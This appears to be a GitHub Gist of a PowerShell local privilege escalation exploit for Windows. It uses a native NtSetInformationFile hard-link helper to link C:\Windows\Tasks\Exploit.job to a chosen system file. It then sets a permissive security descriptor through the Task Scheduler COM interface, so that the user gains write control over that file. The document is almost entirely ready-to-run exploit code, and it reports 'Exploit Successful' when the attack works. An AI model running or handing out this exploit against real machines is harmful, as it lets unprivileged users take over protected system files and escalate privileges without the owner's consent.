Last active
September 10, 2018 14:21
-
-
Save OneLogicalMyth/4d78d9eb41076f779abd0b550cd6f258 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
param($TargetFile,$TaskFolder='Exploit') | |
function Native-HardLink { | |
<# | |
.SYNOPSIS | |
This is a proof-of-concept for NT hard links. There are some advantages, from an offensive | |
perspective, to using NtSetInformationFile to create hard links (as opposed to | |
mklink/CreateHardLink). NtSetInformationFile allows us link to files we don’t have write | |
access to. In the script I am performing some steps which are not strictly speaking | |
necessary, like using GetFullPathName for path resolution, I have done this mostly to | |
educate myself. | |
Be smart, you can create a hard link’s which you won’t be able to delete afterwards don’t | |
shoot yourself in the foot. | |
Resources: | |
- https://github.com/google/symboliclink-testing-tools | |
- https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html | |
.DESCRIPTION | |
Author: Ruben Boonen (@FuzzySec) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
.PARAMETER Link | |
The full path to hard link. | |
.PARAMETER Target | |
The full path to the file we are linking to. | |
.EXAMPLE | |
C:\PS> Native-HardLink -Link C:\Some\Path\Hard.Link -Target C:\Some\Path\Target.file | |
True | |
#> | |
[CmdletBinding()] | |
param( | |
[Parameter(Mandatory = $True)] | |
[String]$Link, | |
[Parameter(Mandatory = $True)] | |
[String]$Target | |
) | |
# Native API Definitions | |
Add-Type -TypeDefinition @" | |
using System; | |
using System.Diagnostics; | |
using System.Runtime.InteropServices; | |
using System.Security.Principal; | |
[StructLayout(LayoutKind.Sequential)] | |
public struct OBJECT_ATTRIBUTES | |
{ | |
public Int32 Length; | |
public IntPtr RootDirectory; | |
public IntPtr ObjectName; | |
public UInt32 Attributes; | |
public IntPtr SecurityDescriptor; | |
public IntPtr SecurityQualityOfService; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct IO_STATUS_BLOCK | |
{ | |
public IntPtr Status; | |
public IntPtr Information; | |
} | |
[StructLayout(LayoutKind.Sequential)] | |
public struct UNICODE_STRING | |
{ | |
public UInt16 Length; | |
public UInt16 MaximumLength; | |
public IntPtr Buffer; | |
} | |
[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)] | |
public struct FILE_LINK_INFORMATION | |
{ | |
[MarshalAs(UnmanagedType.U1)] | |
public bool ReplaceIfExists; | |
public IntPtr RootDirectory; | |
public UInt32 FileNameLength; | |
[MarshalAs(UnmanagedType.ByValTStr,SizeConst=260)] | |
public String FileName; | |
} | |
public static class NtHardLink | |
{ | |
[DllImport("kernel32.dll", CharSet=CharSet.Ansi)] | |
public static extern UInt32 GetFullPathName( | |
String lpFileName, | |
UInt32 nBufferLength, | |
System.Text.StringBuilder lpBuffer, | |
ref IntPtr FnPortionAddress); | |
[DllImport("kernel32.dll")] | |
public static extern bool CloseHandle( | |
IntPtr hObject); | |
[DllImport("ntdll.dll")] | |
public static extern UInt32 NtOpenFile( | |
ref IntPtr FileHandle, | |
UInt32 DesiredAccess, | |
ref OBJECT_ATTRIBUTES ObjAttr, | |
ref IO_STATUS_BLOCK IoStatusBlock, | |
UInt32 ShareAccess, | |
UInt32 OpenOptions); | |
[DllImport("ntdll.dll")] | |
public static extern UInt32 NtSetInformationFile( | |
IntPtr FileHandle, | |
ref IO_STATUS_BLOCK IoStatusBlock, | |
IntPtr FileInformation, | |
UInt32 Length, | |
UInt32 FileInformationClass); | |
} | |
"@ | |
function Emit-UNICODE_STRING { | |
param( | |
[String]$Data | |
) | |
$UnicodeObject = New-Object UNICODE_STRING | |
$UnicodeObject_Buffer = $Data | |
[UInt16]$UnicodeObject.Length = $UnicodeObject_Buffer.Length*2 | |
[UInt16]$UnicodeObject.MaximumLength = $UnicodeObject.Length+1 | |
[IntPtr]$UnicodeObject.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($UnicodeObject_Buffer) | |
[IntPtr]$InMemoryStruct = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(16) # enough for x32/x64 | |
[system.runtime.interopservices.marshal]::StructureToPtr($UnicodeObject, $InMemoryStruct, $true) | |
$InMemoryStruct | |
} | |
function Get-FullPathName { | |
param( | |
[String]$Path | |
) | |
$lpBuffer = New-Object -TypeName System.Text.StringBuilder | |
$FnPortionAddress = [IntPtr]::Zero | |
# Call to get buffer length | |
$CallResult = [NtHardLink]::GetFullPathName($Path,1,$lpBuffer,[ref]$FnPortionAddress) | |
if ($CallResult -ne 0) { | |
# Set buffer length and re-call | |
$lpBuffer.EnsureCapacity($CallResult)|Out-Null | |
$CallResult = [NtHardLink]::GetFullPathName($Path,$lpBuffer.Capacity,$lpBuffer,[ref]$FnPortionAddress) | |
$FullPath = "\??\" + $lpBuffer.ToString() | |
} else { | |
$FullPath = $false | |
} | |
# Return FullPath | |
$FullPath | |
} | |
function Get-NativeFileHandle { | |
param( | |
[String]$Path | |
) | |
$FullPath = Get-FullPathName -Path $Path | |
if ($FullPath) { | |
# IO.* does not support full path name on Win7 | |
if (![IO.File]::Exists($Path)) { | |
Write-Verbose "[!] Invalid file path specified.." | |
$false | |
Return | |
} | |
} else { | |
Write-Verbose "[!] Failed to retrieve fully qualified path.." | |
$false | |
Return | |
} | |
# Prepare NtOpenFile params | |
[IntPtr]$hFile = [IntPtr]::Zero | |
$ObjAttr = New-Object OBJECT_ATTRIBUTES | |
$ObjAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($ObjAttr) | |
$ObjAttr.ObjectName = Emit-UNICODE_STRING -Data $FullPath | |
$ObjAttr.Attributes = 0x40 | |
$IoStatusBlock = New-Object IO_STATUS_BLOCK | |
# DesiredAccess = MAXIMUM_ALLOWED; ShareAccess = FILE_SHARE_READ | |
$CallResult = [NtHardLink]::NtOpenFile([ref]$hFile,0x02000000,[ref]$ObjAttr,[ref]$IoStatusBlock,0x1,0x0) | |
if ($CallResult -eq 0) { | |
$Handle = $hFile | |
} else { | |
Write-Verbose "[!] Failed to acquire file handle, NTSTATUS($('{0:X}' -f $CallResult)).." | |
$Handle = $false | |
} | |
# Return file handle | |
$Handle | |
} | |
function Create-NtHardLink { | |
param( | |
[String]$Link, | |
[String]$Target | |
) | |
$LinkFullPath = Get-FullPathName -Path $Link | |
# IO.* does not support full path name on Win7 | |
$LinkParent = [IO.Directory]::GetParent($Link).FullName | |
if (![IO.Directory]::Exists($LinkParent)) { | |
Write-Verbose "[!] Invalid link folder path specified.." | |
$false | |
Return | |
} | |
# Create pFileLinkInformation & IOStatusBlock struct | |
$FileLinkInformation = New-Object FILE_LINK_INFORMATION | |
$FileLinkInformation.ReplaceIfExists = $true | |
$FileLinkInformation.FileName = $LinkFullPath | |
$FileLinkInformation.RootDirectory = [IntPtr]::Zero | |
$FileLinkInformation.FileNameLength = $LinkFullPath.Length * 2 | |
$FileLinkInformationLen = [System.Runtime.InteropServices.Marshal]::SizeOf($FileLinkInformation) | |
$pFileLinkInformation = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($FileLinkInformationLen) | |
[System.Runtime.InteropServices.Marshal]::StructureToPtr($FileLinkInformation, $pFileLinkInformation, $true) | |
$IoStatusBlock = New-Object IO_STATUS_BLOCK | |
# Get handle to target | |
$hTarget = Get-NativeFileHandle -Path $Target | |
if (!$hTarget) { | |
$false | |
Return | |
} | |
# FileInformationClass => FileLinkInformation = 0xB | |
$CallResult = [NtHardLink]::NtSetInformationFile($hTarget,[ref]$IoStatusBlock,$pFileLinkInformation,$FileLinkInformationLen,0xB) | |
if ($CallResult -eq 0) { | |
$true | |
} else { | |
Write-Verbose "[!] Failed to create hardlink, NTSTATUS($('{0:X}' -f $CallResult)).." | |
} | |
# Free file handle | |
$CallResult = [NtHardLink]::CloseHandle($hTarget) | |
} | |
# Create Hard Link | |
Create-NtHardLink -Link $Link -Target $Target | |
} | |
# make a native hardlink | |
$Hardlink = Native-HardLink -Link C:\Windows\Tasks\Exploit.job -Target $TargetFile | |
if(-not $Hardlink) | |
{ | |
Write-Host "Exploit Failed, unable to hardlink '$TargetFile'." -ForegroundColor Yellow | |
return | |
} | |
# DACL to use | |
$DACL = 'D:(A;;FA;;;BA)(A;OICIIO;GA;;;BA)(A;;FA;;;SY)(A;OICIIO;GA;;;SY)(A;;0x1301bf;;;AU)(A;OICIIO;SDGXGWGR;;;AU)(A;;0x1200a9;;;BU)(A;OICIIO;GXGR;;;BU)' | |
try { | |
# create folder and update permissions so that we now have control over the system32 executable | |
$SService = New-Object -ComObject Schedule.Service | |
$SService.Connect() | |
$RootFolder = $SService.GetFolder('\') | |
$ExploitFolder = $RootFolder.CreateFolder($TaskFolder) | |
$ExploitFolder.SetSecurityDescriptor($DACL, 0) | |
Write-Host "Exploit Successful, you can now modify '$TargetFile'." -ForegroundColor Green | |
} | |
catch { | |
Write-Host "Exploit Failed, most likely SYSTEM has insufficent permissions on '$TargetFile'." -ForegroundColor Yellow | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment